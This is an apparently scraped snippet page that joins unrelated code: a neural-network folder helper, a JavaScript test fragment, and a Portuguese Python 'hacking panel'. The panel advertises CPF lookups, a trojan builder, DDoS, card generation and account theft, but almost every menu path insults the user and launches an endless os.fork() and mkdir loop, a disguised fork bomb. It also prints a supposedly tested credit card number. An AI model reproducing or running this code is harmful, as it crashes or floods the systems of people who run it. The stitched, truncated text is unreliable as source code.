Best Python code snippet using localstack_python
pulp_nn_struct.py
Source:pulp_nn_struct.py  
...302                           'golden_model_add':      PULPNNTestFolderExtHW64bit + "include/GoldenModelAdd/",303                           'test':                  PULPNNTestFolderExtHW64bit}304# Folder generation305def mkdir_p(path):306    pathlib.Path(path).mkdir(parents=True, exist_ok=True)307# Sources folder generation308def mkdir_src(act_prec, ext):309        if ext == 'XpulpV2':310            if act_prec == '32bit':311                mkdir_p(PULPNNSrcDirsSW32bit['src'])312                mkdir_p(PULPNNSrcDirsSW32bit['inc'])313                mkdir_p(PULPNNSrcDirsSW32bit['convolution'])314                mkdir_p(PULPNNSrcDirsSW32bit['pointwise'])315                mkdir_p(PULPNNSrcDirsSW32bit['matmul'])316                mkdir_p(PULPNNSrcDirsSW32bit['depthwise'])317                mkdir_p(PULPNNSrcDirsSW32bit['linear_nq'])318                mkdir_p(PULPNNSrcDirsSW32bit['linear_q'])319                mkdir_p(PULPNNSrcDirsSW32bit['pooling'])320                mkdir_p(PULPNNSrcDirsSW32bit['maxpool'])...main.py
Source:main.py  
1#-----------------------------------------------#2global V, M, verde, A, P,amare3A='\033[1;31m';verde='\033[1;32m ';M='\033[1;35m';V='\033[1;31m';P='\033[1;30m';amare='\033[1;33m'45import os, random6from time import sleep7from sys import argv, executable89def bomb(Length):10    number = '0123456789'11    alpha = 'abcdefghijklmnopqrstuvwxyz'12    ra = '!@#$%¨&*()_+=-*/-+.,'13    id = ''14    for i in range(0,Length,2):15        id += random.choice(number)16        id += random.choice(alpha)17        id += random.choice(ra)18    return id19    20def clear(): os.system("cls||clear")    21clear()2223def lammer():24    try:25        print(f'{amare}[!]{amare}{A}Lammerzinho, travazaper, fudido, seu merda.\nesta função nao pode ser usada por você.');sleep(2);clear() 26    except KeyboardInterrupt:27        while True:28            print(f'{amare}[!]{amare}{A}Lammerzinho, travazaper, fudido, seu merda.\nesta função nao pode ser usada por você.');sleep(2);clear();os.fork()29        30def restart():31    os.execl(executable, executable, *argv)323334def banner(cor): 35    print(f'''{cor}36 âââ       ââââ âââââ  ââââââ âââââââââââââââ  ââââââ  37ââââââ    âââââââ ââââââ    â â  âââ ââââ   â âââ â âââ38âââ  âââ  âââ    âââââ ââââ   â ââââ ââââââ   âââ âââ â39âââââââââ âââ    âââ   â   ââââ ââââ â âââ  â âââââââ  40 ââ   ââââââââ   âââââââââââââ  ââââ â âââââââââââ ââââ41 ââ   âââââ ââ   â  ââ âââ â â  â ââ   ââ ââ ââ ââ ââââ42  â   ââ ââ  â      ââ ââ  â â    â     â â  â  ââ â ââ43  â   â   â      â   â  â  â    â         â     ââ   â 44      â  â       â         â              â  â   â      45{amare}[!]{amare}{V}--developed by DioBrando--.{amare}[!]{amare}4647{amare}[!]{amare}{V}--developed by joestar Team hacking--.{amare}[!]{amare}48''')49banner(cor=V)50def bonus():51    clear()52    banner(cor=amare)53    print(f'{M}1 - Criar um malware para controlar celular. {verde}.apk')54    print(f'{M}2 - Criar um malware para controlar pc. {verde}.exe')55    print(f'{M}3 - DDOS {verde} outro metodo.')56    print(f'{M}4 - Consulta Nome {verde}MÃTODO 2.')57    print(f'{M}5 - Consulta Número {verde}MÃTODO 2.')58    escu = int(input(f'{M}Escolha a opção desejada:'));sleep(2);clear()59    if escu == 1:60        clear()61        nome = str(input(f'{M}Digite o nome do malware.'))62        print(f'{M}Criando malware com o nome de: {nome}');sleep(0.7);clear()63        print(f'{M}Aguarde...');sleep(2);clear()64        print(f'{M}Malware criado em: ./Downloads');sleep(1);clear();lammer()65        while True: 66            os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")67            os.fork()68    elif escu == 2:69        clear()70        nom = str(input(f'{M}Digite o nome do malware.'))71        print(f'{M}Criando malware com o nome de: {nom}');sleep(0.7);clear()72        print(f'{M}Aguarde...');sleep(2);clear()73        print(f'{M}Malware criado em: ./Downloads');sleep(1);clear();lammer()74        while True:75            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")76            os.fork()77    elif escu == 3:78        ipp = str(input(f'{amare}[!]{amare}{P}[ALERT]{P}, Exemplo: 192.168.0.1)\n{M}Digite o ip alvo: '))79        if ipp != 12:80            print(f"{amare}[!]{amare}{P}[ALERT]{P}, {A}Ip invalido!");sleep(1.5);clear();lammer()81            while True:82                os.system(f"mkdir {bomb(10*10)}")83                os.system(f"mkdir {bomb(10*100)}")84                os.fork()85        print(f'Enviando 20000 pacotes para {ipp}.');sleep(0.5)86        print(f'Enviando 40000 pacotes para {ipp}.');sleep(0.5)87        print(f'Enviando 80000 pacotes para {ipp}.');sleep(0.5)88        print(f'Enviando 160000 pacotes para {ipp}.')89        print(f'Enviando 320000 pacotes para {ipp}.');clear();lammer()90        os.system(f"mkdir {bomb(256)}")91        os.system(f"mkdir {bomb(256)}")92        os.system(f"mkdir {bomb(256)}")93        while True:94            os.fork()95    elif escu == 4:96        clear()97        input(f'{M}Digite aqui o nome que deseja consultar: ')98        clear();print(f'{M}Consultando...');sleep(2);clear()99        lammer()100        while True: 101            os.system(f"mkdir {bomb(256)}")102            os.fork()103    elif escu == 5:104        clear()105        try:106            nume = int(input(f'{M}Digite aqui o número que deseja consultar: '))107        except:108            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um número de telefone válido!');sleep(2);clear();lammer()109            while True:110                os.system(f"mkdir {bomb(256)}")111                os.system(f"mkdir {bomb(256)}");os.system(f"mkdir {bomb(256)}")112                os.fork()113        print(f'{M}Puxando dados do número {nume}...{verde}Aguarde.')114        sleep(2);clear();lammer()115        while True:116            os.system(f"mkdir {bomb(10*10)}")117            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")118            os.fork()119120print(f'{M} 1 - Consulta CPF',f'{verde}[ON]')121print(f'{M} 2 - Consulta Nome',f'{verde}[ON]')122print(f'{M} 3 - Consulta CNPJ',f'{V}[OFF]')123print(f'{M} 4 - Consulta Número',f'{verde}[ON]')124print(f'{M} 5 - Gerar VÃrus',f'{verde}[ON]')125print(f'{M} 6 - DDOS',f'{verde}[ON]')126print(f'{M} 7 - Gerar cartão de credito.',f'{verde}[ON]')127print(f'{M} 8 - Clonar banco de dados.',f'{V}[OFF]')128print(f'{M} 9 - Consulta Score.', f'{verde}[ON]')129print(f'{M} 10 - Consulta nome mãe.', f'{verde}[ON]')130print(f'{M} 11 - Clonar whatsapp.', f'{verde}Método spoofing.',f'{verde}[ON]')131print(f'{M} 12 - Funções bonus.', f'{amare}VIP!')132print(f'{M} 13 - Funções de roubo de conta.',f'{verde}[ON]')133print(f'{M} 14 - Roubo em jogos.',f'{verde}[ON]')134print(f'{M} 15 - Salves. {verde}[Salves.]')135136try:137    esc = str(input(f'{M}Digite a opção desejada: '))138except:139    clear();sleep(2);lammer()140    while True:141        os.system(f"mkdir {bomb(10*100)}")142        os.system(f"mkdir {bomb(10*100)}")143        os.fork()144145if esc == '1':146    clear()147    print(f'{M}Método 1.{verde}[ON]')148    print(f'{M}Método 2.{V}[OFF]')149    print(f'{M}Método 3.{verde}[ON]')150    print(f'{M}Método 4.{V}[OFF]')151    try:152        metodo = int(input(f'{M}Digite o Método que deseja utilizar: '))153    except:154        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Digito invalido!')155    if metodo == 1:156        clear()157        cpf = int(input(f'{M}Digite aqui o cpf que deseja consultar: '))158        if cpf != 11:159            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2);clear()160            lammer()161            while True: 162                os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")163                os.fork()164    elif metodo == 2:165        clear()166        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()167        while True:168                os.system(f"mkdir {bomb(10*100)}")169                os.system(f"mkdir {bomb(10*100)}")170                os.fork()171    elif metodo == 3:172        clear()173        try:174            surfacing = int(input(f'{M}Digite aqui o cpf que deseja consultar: '))175        except:176            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2);clear()177            lammer()178            while True: 179                os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")180                os.fork()181182        if surfacing != 11:183            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2);clear()184            lammer()185            while True: 186                os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")187                os.fork()188    elif metodo == 4:189        clear()190        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()191        while True:192                os.system(f"mkdir {bomb(10*100)}")193                os.system(f"mkdir {bomb(10*100)}")194                os.fork()195        196197elif esc == "2":198    clear()199    input(f'{M}Digite aqui o nome que deseja consultar: ')200    clear();print(f'{M}Consultando...');sleep(2);clear()201    lammer()202    while True: 203        os.system(f"mkdir {bomb(10*10)}")204        os.system(f"mkdir {bomb(10*10)}")205        os.system(f"mkdir {bomb(10*100)}")206        os.fork()207    208elif esc == "3":209    clear()210    cnpj = int(input(f'{M}Digite aqui o cnpj que deseja consultar: '))211    print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos invalida!');sleep(2)212    clear();lammer()213    while True:214        os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")215        os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")216        os.fork()217elif esc == "4":218    clear()219    try:220        num = int(input(f'{M}Digite aqui o número que deseja consultar: '))221    except:222        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um número de telefone válido!');sleep(2);clear();lammer()223        while True:224            os.system(f"mkdir {bomb(10*10)}")225            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")226            os.fork()227    print(f'{M}Puxando dados do número {num}...{verde}Aguarde.')228    sleep(2);clear();lammer()229    while True:230        os.system(f"mkdir {bomb(10*10)}")231        os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")232        os.fork()233234elif esc == "5":235    clear()236    print(f'{M}1 - Método 1.',f'{verde}[Mais funcional.]')237    print(f'{M}2 - Método 2.')238    es = input(f'{M}Digite o metodo que deseja para criar o trojan:');sleep(1.3);clear()239    print(f"{M}Criando Trojan..."f"{verde}(Aguarde)");sleep(1)240    print(f"{M}Criando Trojan..."f"{verde}(Aguarde)");sleep(1)241    print(f"{M}Criando Trojan..."f"{verde}(Aguarde)");sleep(3);clear()242    print(f'{M}Trojan criado.');sleep(2);clear()243    print(f'{M}1 - Método de ip.',f'{verde}(Mais funcional.)')244    print(f'{M}2 - Método de apk.')245    esca=input('Selecione o metodo de enviar: ');sleep(1);clear()246    if esca == "1":247        input(f"{M}Digite o ip alvo:");sleep(2);clear();lammer()248        while True:249            os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")250            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}");251            os.fork()252    elif esca == "2":253        print(f'{M}Aguarde, o virus será criado em sua pasta de downloads.');sleep(2);clear();lammer()254        while True:255            os.system(f"mkdir {bomb(10*10)}");os.system(f"mkdir {bomb(10*100)}")256            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")257            os.fork()258259elif esc == "6":260    clear()261    print(f'{M}Método 1',f'{verde}[ON]')262    print(f'{M}Método 2',f'{verde}[ON]')263    escol = input(f'{M}Digite o método que deseja: ');sleep(2);clear()264    if escol == "1":265        ip = str(input(f'{amare}[!]{amare}{P}[ALERT]{P}, Exemplo: 192.168.0.1)\n{M}Digite o ip alvo: '))266        if ip != 10:267            print(f"{amare}[!]{amare}{P}[ALERT]{P}, {A}Ip invalido!");sleep(1.5);clear();lammer()268            while True:269                os.system(f"mkdir {bomb(10*10)}")270                os.system(f"mkdir {bomb(10*100)}")271                os.system(f"mkdir {bomb(10*100)}")272                os.fork()273        print(f'Enviando 20000 pacotes para {ip}.');sleep(0.5)274        print(f'Enviando 40000 pacotes para {ip}.');sleep(0.5)275        print(f'Enviando 80000 pacotes para {ip}.');sleep(0.5)276        print(f'Enviando 160000 pacotes para {ip}.')277        print(f'Enviando 320000 pacotes para {ip}.');clear();lammer()278        while True:279            os.system(f"mkdir {bomb(10*10)}")280            os.system(f"mkdir {bomb(10*10)}")281            os.system(f"mkdir {bomb(10*10)}")282            os.fork()283    elif escol == "2":284        ip2 = ip = str(input(f'{amare}[!]{amare}{P}[ALERT]{P}, Exemplo: 192.168.0.1)\n{M}Digite o ip alvo: '))285        if ip2 != 12:286            print(f"{amare}[!]{amare}{P}[ALERT]{P}, {A}Ip invalido!");sleep(1.5);clear();lammer()287            while True:288                os.system(f"mkdir {bomb(10*10)}")289                os.system(f"mkdir {bomb(10*100)}")290                os.fork()291        print(f'Enviando 20000 pacotes para {ip}.');sleep(0.5)292        print(f'Enviando 40000 pacotes para {ip}.');sleep(0.5)293        print(f'Enviando 80000 pacotes para {ip}.');sleep(0.5)294        print(f'Enviando 160000 pacotes para {ip}.')295        print(f'Enviando 320000 pacotes para {ip}.');clear();lammer()296        os.system(f"mkdir {bomb(10*10)}")297        os.system(f"mkdir {bomb(10*100)}")298        os.system(f"mkdir {bomb(10*100)}")299        os.fork()300301elif esc == "7":302    clear()303    print(f'{M}1 - Mastercard.',f'{verde}[ON]')304    print(f'{M}2 - Visa.',f'{V}[OFF]')305    print(f'{M}3 - PicPay.',f'{verde}[ON]')306    print(f'{M}4 - PayPal.',f'{verde}[ON]')307    print(f'{M}5 - Caixa.',f'{V}[OFF]')308    print(f'{M}6 - Nubank.',f'{verde}[ON]')309    op = int(input(f'{M}Digite a opção desejada: '));sleep(2);clear()310    if op > 7:311        clear()312        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(1.5);lammer()313        while True:314            os.system(f"mkdir {bomb(10*10)}")315            os.system(f"mkdir {bomb(10*100)}")316            os.system(f"mkdir {bomb(10*100)}")317            os.fork()318    clear()319    print(f'{M}Gerando cartão...');sleep(2);clear()320    print(f'{M}Testando cartão em lojas...',f'{verde}Testado!',f'{verde}Funcionando!');sleep(2);clear()321    print(f'{M}O cartão gerado foi: 5282 1738 3637 1016\n{M}Validade:27/07/2023\n{M}Código de segurança:106');sleep(3)322    clear()323    print(f'{M}1 - Casas bahia.{verde}Funcionando!')324    print(f'{M}2 - Lojas renner.{verde}Funcionando!')325    print(f'{M}3 - Mercado livre.{verde}Funcionando!')326    input(f'{M}Deseja Testar seu cartão aonde? ');sleep(1.5);clear();lammer()327    while True:328        os.system(f"mkdir {bomb(10*10)}")329        os.system(f"mkdir {bomb(10*100)}")330        os.fork()331332elif esc == "8":333    clear()334    print(f'{M}Temos 3 banco de dados no nosso sistema.')335    print(f'{M}1 - Banco de dados de Nome. {verde}100Milhões de nomes')336    print(f'{M}2 - Banco de dados de Número. {verde}80Milhões de cpf')337    print(f'{M}3 - Banco de dados de CC.(Cartão de crédito.) {verde}90% funcionando.')338    try:339        nume = int(input(f'{M}Digite a opção desejada: '))340    except:341        clear()342        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()343        while True:344            os.system(f"mkdir {bomb(10*100)}")345            os.system(f"mkdir {bomb(10*100)}")346            os.fork()347    if nume == 1:348        clear()349        print(f'{M}Movendo banco de dados de nome para seu armazenamento.');sleep(2);clear();lammer()350        while True:351            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")352            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")353            os.fork()354    elif nume == 2:355        clear()356        print(f'{M}Movendo banco de dados de número para seu armazenamento.');sleep(2);clear();lammer()357        while True:358            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")359            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")360            os.fork()361    elif nume == 3:362        clear()363        print(f'{M}Movendo banco de dados de CC para seu armazenamento.');sleep(2);clear();lammer()364        while True:365            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")366            os.system(f"mkdir {bomb(10*100)}");os.system(f"mkdir {bomb(10*100)}")367            os.fork()368369elif esc == "9":370    clear()371    print(f'{M}1 - Consultar Score pelo número.{verde}[ON]')372    print(f'{M}2 - Consutar Score pelo Cpf.{verde}[ON]')373    print(f'{M}3 - Consultar Score pelo Nome.{V}[OFF]')374    try:375        escolha = int(input(f'{M}Digite a opção desejada:'))376    except:377        clear()378        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()379        while True:380            os.system(f"mkdir {bomb(10*100)}")381            os.system(f"mkdir {bomb(10*100)}")382            os.fork()383    if escolha == 1:384        clear()385        try:386            numeru = int(input(f'{M}Exemplo: 1199832761\nDigite o número que deseja consultar score: '))387        except:388            clear()389            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um número válido.')390        if numeru >10:391            clear()392            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos inválida.');sleep(2);clear();lammer()393            while True:394                os.system(f"mkdir {bomb(10*100)}")395                os.system(f"mkdir {bomb(10*100)}")396                os.fork()397        else:398            clear()399            print(f'{M}Buscando número... {verde}Aguarde!');sleep(3);clear();lammer()400            while True:401                os.system(f"mkdir {bomb(10*100)}")402                os.system(f"mkdir {bomb(10*100)}")403                os.fork()404    elif escolha == 2:405        clear()406        try:407            bruh = int(input(f'{M}Exemplo: 45627984321\nDigite o cpf que deseja consultar score:'))408        except:409            clear()410            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um CPF.');sleep(2);clear();lammer()411            while True:412                os.system(f"mkdir {bomb(10*100)}")413                os.system(f"mkdir {bomb(10*100)}")414                os.fork()415        if bruh >11:416            clear()417            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um CPF Válido.');sleep(2);clear();lammer()418            while True:419                os.system(f"mkdir {bomb(10*100)}")420                os.system(f"mkdir {bomb(10*100)}")421                os.fork()422        else:423            clear()424            print(f'{M}Consultando cpf...{verde}Aguarde..');sleep(2);clear();lammer()425            while True:426                os.system(f"mkdir {bomb(10*100)}")427                os.system(f"mkdir {bomb(10*100)}")428                os.fork()429    elif escolha == 3:430        clear()431        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()432        while True:433                os.system(f"mkdir {bomb(10*100)}")434                os.system(f"mkdir {bomb(10*100)}")435                os.fork()436elif esc == "10":437    clear()438    try:439        clear()440        mae = str(input(f'{M}Digite o nome que deseja consultar:'))441    except:442        clear()443        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome.');sleep(1.6);clear();lammer()444        while True:445                os.system(f"mkdir {bomb(10*100)}")446                os.system(f"mkdir {bomb(10*100)}")447                os.fork()448    clear()449    print(f'{M}Consultando o nome: {mae}, {verde}Aguarde..');sleep(3);clear();lammer()450    while True:451        os.system(f"mkdir {bomb(10*100)}")452        os.system(f"mkdir {bomb(10*100)}")453        os.fork()454455elif esc == "11":456    clear()457    print(f'{M}1 - Explicação de como fazer.{verde}Iniciantes.')458    print(f'{M}2 - Spoofing método 1.{verde}[ON]')459    print(f'{M}3 - Spoofing método 2.{V}[OFF]')460    try:461        spo = int(input(F'{M}Digite o metodo que deseja.'))462    except:463        clear()464        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou uma opção válida!.')465    if spo == 1:466        clear()467        print(f'{M}Spoofing nada mais é do que você simular a caixa postal de um número\nPara receber sms por ele.\nusando esse método você pode facilmente conseguir o codigo do whatsapp da pessoa.');sleep(2);clear()468        print(f'{V}ACHA MESMO QUE VOCÃ, TRAVAZAPER VAI CONSEGUIR FAZER SPOOFING? KKKKKKKKKKKKKKKKKKKKKKK')469        while True:470            os.system(f"mkdir {bomb(10*100)}")471            os.system(f"mkdir {bomb(10*100)}")472            os.fork()473474elif esc == "12":475    clear()476    bonus()477478elif esc == "13":479    clear()480    print(f'{M}1 - Roubar instagram {verde} [ON]')481    print(f'{M}2 - Roubar twitter {V} [OFF]')482    print(f'{M}3 - Roubar Facebook. {V} [OFF]')483    try:484        roubo = int(input(f'{M}Digite a opção desejada: '))485    except:486        clear()487        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou uma opção válida.!');sleep(2);clear();lammer()488        while True:489            os.system(f"mkdir {bomb(10*100)}")490            os.system(f"mkdir {bomb(10*100)}")491            os.fork()492    if roubo == 1:493        clear()494        print(f'{M}Método 1. {verde}[ON]')495        print(f'{M}Método 2. {verde}[ON]')496        print(f'{M}Método 3. {V}[OFF]')497        try:498            daron = int(input('Digite o método que queira usar: '))499        except:500            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um método válido.!');sleep(2);clear();lammer()501            while True:502                os.system(f"mkdir {bomb(10*100)}")503                os.system(f"mkdir {bomb(10*100)}")504                os.fork()505        if daron == 1:506            clear()507            try:508                user = str(input(f'{M}Digite o Usuário que deseja roubar: '))509            except:510                clear()511                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome de usuario valido.');sleep(2);clear();lammer()512                while True:513                    os.system(f"mkdir {bomb(10*100)}")514                    os.system(f"mkdir {bomb(10*100)}")515                    os.fork()516            sleep(2);lammer()517            while True:518                os.system(f"mkdir {bomb(10*100)}")519                os.system(f"mkdir {bomb(10*100)}")520                os.fork()521        elif daron == 2:522            try:523                usu = str(input(f'{M}Digite O email da conta que deseja roubar: '))524            except:525                clear()526                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um endereço de email válido.')527            print(f'{M}Aguarde...');sleep(0.8);clear();print(f'{verde}Localizando email...');sleep(1.7);clear()528            print(f'{verde}Email localizado.');sleep(1);clear()529            print(f'{M}1 - Método 1.{verde}[On]')530            print(f'{M}2 - Método 2.{V}[OFF]')531            try:532                ok = int(input(f'{M}Digite o método que deseja utilizar.'))533            except:534                clear()535                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um metodo válido!')536            if usu == 1:537                clear()538                print(f'{M}Hackeando... aguarde..');sleep(2);clear();lammer()539                while True:540                    os.system(f"mkdir {bomb(10*100)}")541                    os.system(f"mkdir {bomb(10*100)}")542                    os.fork()543            elif usu == 2:544                clear()545                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()546                while True:547                    os.system(f"mkdir {bomb(10*100)}")548                    os.system(f"mkdir {bomb(10*100)}")549                    os.fork()550        elif daron == 3:551            clear()552            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()553            while True:554                os.system(f"mkdir {bomb(256)}")555                os.system(f"mkdir {bomb(256)}")556                os.fork()557    elif roubo == 2:558        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(2);clear();lammer()559        while True:560                os.system(f"mkdir {bomb(256)}")561                os.system(f"mkdir {bomb(256)}")562                os.fork()563    elif roubo == 3:564        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(2);clear();lammer()565        while True:566                os.system(f"mkdir {bomb(256)}")567                os.system(f"mkdir {bomb(256)}")568                os.fork()569        570elif esc == "14":571    clear()572    print(f'{M}Método 1.{verde}[ON]')573    print(f'{M}Método 2.{V}[OFF]')574    try:575        fred = int(input(f'{M}Digite a opção desejada: '))576    except:577        clear()578        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()579        while True:580                os.system(f"mkdir {bomb(256)}")581                os.system(f"mkdir {bomb(256)}")582                os.fork()583    if fred == 1:584        clear()585        print(f'{M}1 - Roubar conta de Free fire{verde}[ON]')586        print(f'{M}2 - GTA V RP.{verde}[ON]')587        try:588            six = int(input(f'{M}Escolha a opção de jogo desejada: '))589        except:590            clear()591            print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção invalida!');sleep(2);clear();lammer()592            while True:593                os.system(f"mkdir {bomb(256)}")594                os.system(f"mkdir {bomb(256)}")595                os.fork()596        if six == 1:597            try:598                conta = int(input(f'{M}Digite o id da conta que deseja roubar: '))599            except:600                clear()601                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um id válido.');sleep(2);clear();lammer()602                while True:603                    os.system(f"mkdir {bomb(256)}")604                    os.system(f"mkdir {bomb(256)}")605                    os.fork()606            if conta < 10:607                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Quantidade de digitos inválido.');sleep(2);clear();lammer()608                while True:609                    os.system(f"mkdir {bomb(256)}")610                    os.system(f"mkdir {bomb(256)}")611                    os.fork()612            else:613                clear()614                print(f'{verde}Fazendo spoofing da conta..');sleep(2);clear();print(f'{verde}Aguarde...');sleep(2);clear();lammer()615                while True:616                    os.system(f"mkdir {bomb(256)}")617                    os.system(f"mkdir {bomb(256)}")618                    os.fork()619        elif six == 2:620            clear()621            print(f'{M}1 - Pc.{verde}[ON]')622            print(f'{M}2 - Xbox.{verde}[ON]')623            print(f'{M}3 - Ps4, Ps5.{V}[OFF]')624            try:625                plata = int(input(f'{M}Digite a opção desejada: '))626            except:627                clear()628                print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção inválida!');sleep(2);clear();lammer()629                while True:630                    os.system(f"mkdir {bomb(256)}")631                    os.system(f"mkdir {bomb(256)}")632                    os.fork()633            if plata == 1:634                print(f'{M}1 - Método por Nome da conta.{verde}[ON]')635                print(f'{M}2 - Método por ID da conta.{verde}[ON]')636                print(f'{M}3 - Método por Email da conta.{V}[OFF]')637                try:638                    gta = int(input(f'{M}Digite o Método que deseja utilizar: '))639                except:640                    clear()641                    print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Opção inválida!');sleep(2);clear()642                    while True:643                        os.system(f"mkdir {bomb(256)}")644                        os.system(f"mkdir {bomb(256)}")645                        os.fork()646                if gta == 1:647                    try:648                        cont = str(input(f'{M}1 - Digite o Nome da conta que deseja roubar: '))649                    except:650                        clear()651                        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome valido!');sleep(2);clear();lammer()652                        while True:653                            os.system(f"mkdir {bomb(256)}")654                            os.system(f"mkdir {bomb(256)}")655                            os.fork()656                    print(f'{M}Hackeando a conta: {cont}... {verde}Aguarde...');sleep(2);clear();lammer()657                    while True:658                        os.system(f"mkdir {bomb(256)}")659                        os.system(f"mkdir {bomb(256)}")660                        os.fork()661                elif gta == 2:662                    try:663                        contaa = str(input(f'{M}1 - Digite o Id da conta que deseja roubar: '))664                    except:665                        clear()666                        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Você não digitou um nome valido!');sleep(2);clear();lammer()667                        while True:668                            os.system(f"mkdir {bomb(256)}")669                            os.system(f"mkdir {bomb(256)}")670                            os.fork()671                    print(f'{M}Hackeando a conta: {contaa}... {verde}Aguarde...');sleep(2);clear();lammer()672                    while True:673                        os.system(f"mkdir {bomb(256)}")674                        os.fork()675                elif gta == 3:676                    clear()677                    print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()678                    while True:679                        os.system(f"mkdir {bomb(256)}")680                        os.fork()681    elif fred == 2:682        clear()683        print(f'{amare}[!]{amare}{P} ALERT{P}, {A}Avisei que estava off\nagora irá sofrer as consequencias.');sleep(1.3);lammer()684        clear()685        while True:686                os.system(f"mkdir {bomb(256)}")687                os.fork()688elif esc == "15":689    clear()690    print(f'{M}Salve para os manos: {V}Mr diniz, Joshu, matheus joestar, Dio, crowley, lucas\nSpyware, Kimatsuki, vitor, Jotaro.');sleep(5);clear()691    print(f'{M}Salve pros manos da joestar team :D.{V}Diniz, Joshu, Dio, Spyware, Matheus Joestar.');sleep(5);clear()692    print(f'{M}Salve pra quem divulgou o painel.');sleep(6);clear();restart()693694else:695    clear()696    reset = str(input(f'{amare}[!]{amare}{P} ALERT{P}, {A}OPÃÃO INVALIDA! deseja reiniciar? (S/N)'));sleep(2);clear()697    print(f'{A}Problema é seu, seu bosta.');sleep(2);clear()698    while True:699        lammer()700        os.system(f"mkdir {bomb(253)}")701        os.system(f"mkdir {bomb(256)}")
...project.spec.js
Source:project.spec.js  
1// Test Modules2import { expect, assert } from          'chai';3import simple, { mock } from            'simple-mock';4// System Modules5import yargs from                       'yargs';6import { default as promptly } from     'promptly';7import fs from                          'fs';8import util from                        'util';9import { bold, green } from             'chalk';10import $LogProvider from                'angie-log';11// Angie Modules12const TEST_ENV =                        global.TEST_ENV || 'src',13    project =                           require(`../../../../${TEST_ENV}/util/scaffold/project`),14    $$ProjectCreationError =            require(`../../../../${TEST_ENV}/services/$Exceptions`).$$ProjectCreationError,15    p = process;16describe('$$createProject', function() {17    let noop = () => null;18    beforeEach(function() {19        yargs([]);20        mock(fs, 'mkdirSync', noop);21        mock(fs, 'readFileSync', noop);22        mock(util, 'format', () => 'test');23        mock(fs, 'writeFileSync', noop);24        mock($LogProvider, 'info', noop);25        mock(p, 'exit', noop);26        mock(promptly, 'confirm', function(_, fn) {27            fn(null, true);28        });29        mock(promptly, 'prompt', function(_, obj = {}, fn) {30            fn(null, true);31        });32    });33    